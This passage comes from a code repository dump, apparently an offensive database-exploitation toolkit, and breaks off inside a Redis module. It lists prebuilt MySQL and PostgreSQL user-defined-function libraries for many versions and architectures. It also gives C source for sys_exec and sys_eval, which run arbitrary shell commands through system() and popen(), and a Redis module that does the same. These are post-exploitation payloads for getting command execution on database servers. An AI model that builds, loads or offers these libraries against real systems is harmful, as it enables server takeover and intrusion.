h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 222 | golang.org/x/tools v0.0.0-20201125231158-b5590deeca9b/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 223 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 224 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 225 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 226 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 227 | golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028 h1:+cNy6SZtPcJQH3LJVLOSmiC7MMxXNOb3PU/VUEz+EhU= 228 | golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028/go.mod h1:NDW/Ps6MPRej6fsCIbMTohpP40sJ/P/vI1MoTEGwX90= 229 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 230 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= 231 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 232 | gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 h1:VpOs+IwYnYBaFnrNAeB8UUWtL3vEUnzSCL1nVjPhqrw= 233 | gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22/go.mod h1:yeKp02qBN3iKW1OzL3MGk2IdtZzaj7SFntXj72NppTA= 234 | gopkg.in/natefinch/lumberjack.v2 v2.0.0/go.mod h1:l0ndWWf7gzL7RNwBG7wST/UCcT4T24xpD6X8LsfU/+k= 235 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 236 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 237 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 238 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 239 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 240 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 241 | modernc.org/fileutil v1.0.0/go.mod h1:JHsWpkrk/CnVV1H/eGlFf85BEpfkrp56ro8nojIq9Q8= 242 | modernc.org/golex v1.0.1/go.mod h1:QCA53QtsT1NdGkaZZkF5ezFwk4IXh4BGNafAARTC254= 243 | modernc.org/lex v1.0.0/go.mod h1:G6rxMTy3cH2iA0iXL/HRRv4Znu8MK4higxph/lE7ypk= 244 | modernc.org/lexer v1.0.0/go.mod h1:F/Dld0YKYdZCLQ7bD0USbWL4YKCyTDRDHiDTOs0q0vk= 245 | modernc.org/mathutil v1.0.0/go.mod h1:wU0vUrJsVWBZ4P6e7xtFJEhFSNsfRLJ8H458uRjg03k= 246 | modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= 247 | modernc.org/parser v1.0.0/go.mod h1:H20AntYJ2cHHL6MHthJ8LZzXCdDCHMWt1KZXtIMjejA= 248 | modernc.org/parser v1.0.2/go.mod h1:TXNq3HABP3HMaqLK7brD1fLA/LfN0KS6JxZn71QdDqs= 249 | modernc.org/scanner v1.0.1/go.mod h1:OIzD2ZtjYk6yTuyqZr57FmifbM9fIH74SumloSsajuE= 250 | modernc.org/sortutil v1.0.0/go.mod h1:1QO0q8IlIlmjBIwm6t/7sof874+xCfZouyqZMLIAtxM= 251 | modernc.org/strutil v1.0.0/go.mod h1:lstksw84oURvj9y3tn8lGvRxyRC1S2+g5uuIzNfIOBs= 252 | modernc.org/strutil v1.1.0/go.mod h1:lstksw84oURvj9y3tn8lGvRxyRC1S2+g5uuIzNfIOBs= 253 | modernc.org/y v1.0.1/go.mod h1:Ho86I+LVHEI+LYXoUKlmOMAM1JTXOCfj8qi1T8PsClE= 254 | -------------------------------------------------------------------------------- /lib/mysql/linux/lib_mysqludf_sys_32.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/mysql/linux/lib_mysqludf_sys_32.so -------------------------------------------------------------------------------- /lib/mysql/linux/lib_mysqludf_sys_64.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/mysql/linux/lib_mysqludf_sys_64.so -------------------------------------------------------------------------------- /lib/mysql/windows/lib_mysqludf_sys_32.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/mysql/windows/lib_mysqludf_sys_32.dll -------------------------------------------------------------------------------- /lib/mysql/windows/lib_mysqludf_sys_64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/mysql/windows/lib_mysqludf_sys_64.dll -------------------------------------------------------------------------------- /lib/postgresql/eval.c: -------------------------------------------------------------------------------- 1 | /* 2 | lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions 3 | Copyright (C) 2009-2010 Bernardo Damele A. G. 4 | web: http://bernardodamele.blogspot.com/ 5 | email: bernardo.damele@gmail.com 6 | 7 | This library is free software; you can redistribute it and/or 8 | modify it under the terms of the GNU Lesser General Public 9 | License as published by the Free Software Foundation; either 10 | version 2.1 of the License, or (at your option) any later version. 11 | 12 | This library is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 15 | Lesser General Public License for more details. 16 | 17 | You should have received a copy of the GNU Lesser General Public 18 | License along with this library; if not, write to the Free Software 19 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 20 | */ 21 | 22 | #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) 23 | #define _USE_32BIT_TIME_T 24 | #define DLLEXP __declspec(dllexport) 25 | #define BUILDING_DLL 1 26 | #else 27 | #define DLLEXP 28 | #include 29 | #include 30 | #include 31 | #include 32 | #endif 33 | 34 | #include 35 | #include 36 | #include 37 | #include 38 | 39 | #include 40 | 41 | 42 | #ifdef PG_MODULE_MAGIC 43 | PG_MODULE_MAGIC; 44 | #endif 45 | 46 | char *text_ptr_to_char_ptr(text *arg) 47 | { 48 | char *retVal; 49 | int arg_size = VARSIZE(arg) - VARHDRSZ; 50 | retVal = (char *)malloc(arg_size + 1); 51 | 52 | memcpy(retVal, VARDATA(arg), arg_size); 53 | retVal[arg_size] = '\0'; 54 | 55 | return retVal; 56 | } 57 | 58 | text *chr_ptr_to_text_ptr(char *arg) 59 | { 60 | text *retVal; 61 | 62 | retVal = (text *)malloc(VARHDRSZ + strlen(arg)); 63 | #ifdef SET_VARSIZE 64 | SET_VARSIZE(retVal, VARHDRSZ + strlen(arg)); 65 | #else 66 | VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ; 67 | #endif 68 | memcpy(VARDATA(retVal), arg, strlen(arg)); 69 | 70 | return retVal; 71 | } 72 | 73 | PG_FUNCTION_INFO_V1(sys_exec); 74 | #ifdef PGDLLIMPORT 75 | extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { 76 | #else 77 | extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { 78 | #endif 79 | text *argv0 = PG_GETARG_TEXT_P(0); 80 | int32 result = 0; 81 | char *command; 82 | 83 | command = text_ptr_to_char_ptr(argv0); 84 | 85 | /* 86 | Only if you want to log 87 | elog(NOTICE, "Command execution: %s", command); 88 | */ 89 | 90 | result = system(command); 91 | free(command); 92 | 93 | PG_FREE_IF_COPY(argv0, 0); 94 | PG_RETURN_INT32(result); 95 | } 96 | 97 | PG_FUNCTION_INFO_V1(sys_eval); 98 | #ifdef PGDLLIMPORT 99 | extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { 100 | #else 101 | extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { 102 | #endif 103 | text *argv0 = PG_GETARG_TEXT_P(0); 104 | text *result_text; 105 | char *command; 106 | char *result; 107 | FILE *pipe; 108 | char *line; 109 | int32 outlen, linelen; 110 | 111 | command = text_ptr_to_char_ptr(argv0); 112 | 113 | 114 | line = (char *)malloc(1024); 115 | result = (char *)malloc(1); 116 | outlen = 0; 117 | 118 | result[0] = (char)0; 119 | 120 | pipe = popen(command, "r"); 121 | 122 | while (fgets(line, sizeof(line), pipe) != NULL) { 123 | linelen = strlen(line); 124 | result = (char *)realloc(result, outlen + linelen); 125 | strncpy(result + outlen, line, linelen); 126 | outlen = outlen + linelen; 127 | } 128 | 129 | pclose(pipe); 130 | 131 | if (*result) { 132 | result[outlen-1] = 0x00; 133 | } 134 | 135 | result_text = chr_ptr_to_text_ptr(result); 136 | 137 | PG_RETURN_POINTER(result_text); 138 | } 139 | 140 | 141 | -------------------------------------------------------------------------------- /lib/postgresql/eval_16.c: -------------------------------------------------------------------------------- 1 | /* 2 | lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions 3 | Copyright (C) 2009-2010 Bernardo Damele A. G. 4 | web: http://bernardodamele.blogspot.com/ 5 | email: bernardo.damele@gmail.com 6 | 7 | This library is free software; you can redistribute it and/or 8 | modify it under the terms of the GNU Lesser General Public 9 | License as published by the Free Software Foundation; either 10 | version 2.1 of the License, or (at your option) any later version. 11 | 12 | This library is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 15 | Lesser General Public License for more details. 16 | 17 | You should have received a copy of the GNU Lesser General Public 18 | License along with this library; if not, write to the Free Software 19 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 20 | */ 21 | 22 | #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) 23 | #define _USE_32BIT_TIME_T 24 | #define DLLEXP __declspec(dllexport) 25 | #define BUILDING_DLL 1 26 | #else 27 | #define DLLEXP 28 | #include 29 | #include 30 | #include 31 | #include 32 | #endif 33 | 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | #include 41 | 42 | 43 | #ifdef PG_MODULE_MAGIC 44 | PG_MODULE_MAGIC; 45 | #endif 46 | 47 | char *text_ptr_to_char_ptr(text *arg) 48 | { 49 | char *retVal; 50 | int arg_size = VARSIZE(arg) - VARHDRSZ; 51 | retVal = (char *)malloc(arg_size + 1); 52 | 53 | memcpy(retVal, VARDATA(arg), arg_size); 54 | retVal[arg_size] = '\0'; 55 | 56 | return retVal; 57 | } 58 | 59 | text *chr_ptr_to_text_ptr(char *arg) 60 | { 61 | text *retVal; 62 | 63 | retVal = (text *)malloc(VARHDRSZ + strlen(arg)); 64 | #ifdef SET_VARSIZE 65 | SET_VARSIZE(retVal, VARHDRSZ + strlen(arg)); 66 | #else 67 | VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ; 68 | #endif 69 | memcpy(VARDATA(retVal), arg, strlen(arg)); 70 | 71 | return retVal; 72 | } 73 | 74 | PG_FUNCTION_INFO_V1(sys_exec); 75 | #ifdef PGDLLIMPORT 76 | extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { 77 | #else 78 | extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { 79 | #endif 80 | text *argv0 = PG_GETARG_TEXT_P(0); 81 | int32 result = 0; 82 | char *command; 83 | 84 | command = text_ptr_to_char_ptr(argv0); 85 | 86 | /* 87 | Only if you want to log 88 | elog(NOTICE, "Command execution: %s", command); 89 | */ 90 | 91 | result = system(command); 92 | free(command); 93 | 94 | PG_FREE_IF_COPY(argv0, 0); 95 | PG_RETURN_INT32(result); 96 | } 97 | 98 | PG_FUNCTION_INFO_V1(sys_eval); 99 | #ifdef PGDLLIMPORT 100 | extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { 101 | #else 102 | extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { 103 | #endif 104 | text *argv0 = PG_GETARG_TEXT_P(0); 105 | text *result_text; 106 | char *command; 107 | char *result; 108 | FILE *pipe; 109 | char *line; 110 | int32 outlen, linelen; 111 | 112 | command = text_ptr_to_char_ptr(argv0); 113 | 114 | 115 | line = (char *)malloc(1024); 116 | result = (char *)malloc(1); 117 | outlen = 0; 118 | 119 | result[0] = (char)0; 120 | 121 | pipe = popen(command, "r"); 122 | 123 | while (fgets(line, sizeof(line), pipe) != NULL) { 124 | linelen = strlen(line); 125 | result = (char *)realloc(result, outlen + linelen); 126 | strncpy(result + outlen, line, linelen); 127 | outlen = outlen + linelen; 128 | } 129 | 130 | pclose(pipe); 131 | 132 | if (*result) { 133 | result[outlen-1] = 0x00; 134 | } 135 | 136 | result_text = chr_ptr_to_text_ptr(result); 137 | 138 | PG_RETURN_POINTER(result_text); 139 | } 140 | 141 | 142 | -------------------------------------------------------------------------------- /lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_10.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_10.so -------------------------------------------------------------------------------- /lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_11.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_11.so -------------------------------------------------------------------------------- /lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_12.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_12.so -------------------------------------------------------------------------------- /lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_13.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_13.so -------------------------------------------------------------------------------- /lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_14.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_14.so -------------------------------------------------------------------------------- /lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_15.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_15.so -------------------------------------------------------------------------------- /lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_16.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_16.so -------------------------------------------------------------------------------- /lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_9.1.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_9.1.so -------------------------------------------------------------------------------- /lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_9.2.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_9.2.so -------------------------------------------------------------------------------- /lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_9.3.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_9.3.so -------------------------------------------------------------------------------- /lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_9.4.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_9.4.so -------------------------------------------------------------------------------- /lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_9.5.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_9.5.so -------------------------------------------------------------------------------- /lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_9.6.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/arm64/lib_postgresqludf_sys_eval_exec_arm64_9.6.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_10.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_10.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_11.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_11.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_12.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_12.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_13.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_13.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_14.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_14.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_15.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_15.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_16.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_16.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_8.2.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_8.2.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_8.3.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_8.3.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_8.4.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_8.4.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.0.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.0.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.1.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.1.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.2.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.2.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.3.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.3.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.4.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.4.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.5.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.5.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.6.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x64/lib_postgresqludf_sys_eval_exec_9.6.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_10.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_10.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_11.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_11.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_12.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_12.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_13.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_13.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_14.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_14.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_15.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_15.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_8.2.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_8.2.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_8.3.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_8.3.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_8.4.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_8.4.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.0.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.0.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.1.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.1.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.2.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.2.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.3.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.3.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.4.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.4.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.5.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.5.so -------------------------------------------------------------------------------- /lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.6.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ape1ron/davinci/29eec71780150adfa50e0e7751ba1782acfeed2f/lib/postgresql/linux/x86/lib_postgresqludf_sys_eval_exec_x86_9.6.so -------------------------------------------------------------------------------- /lib/redis/eval.c: -------------------------------------------------------------------------------- 1 | #include "redismodule.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | int DoCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { 13 | if (argc == 2) { 14 | size_t cmd_len; 15 | size_t size = 1024; 16 | char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len); 17 | 18 | FILE *fp = popen(cmd, "r"); 19 | char *buf, *output; 20 | buf = (char *)malloc(size); 21 | output = (char *)malloc(size); 22 | while ( fgets(buf, sizeof(buf), fp) != 0 ) { 23 | if (strlen(buf) + strlen(output) >= size) { 24 | output = realloc(output, size<<2); 25 | size <<= 1; 26 | } 27 | strcat(output, buf); 28 | } 29 | 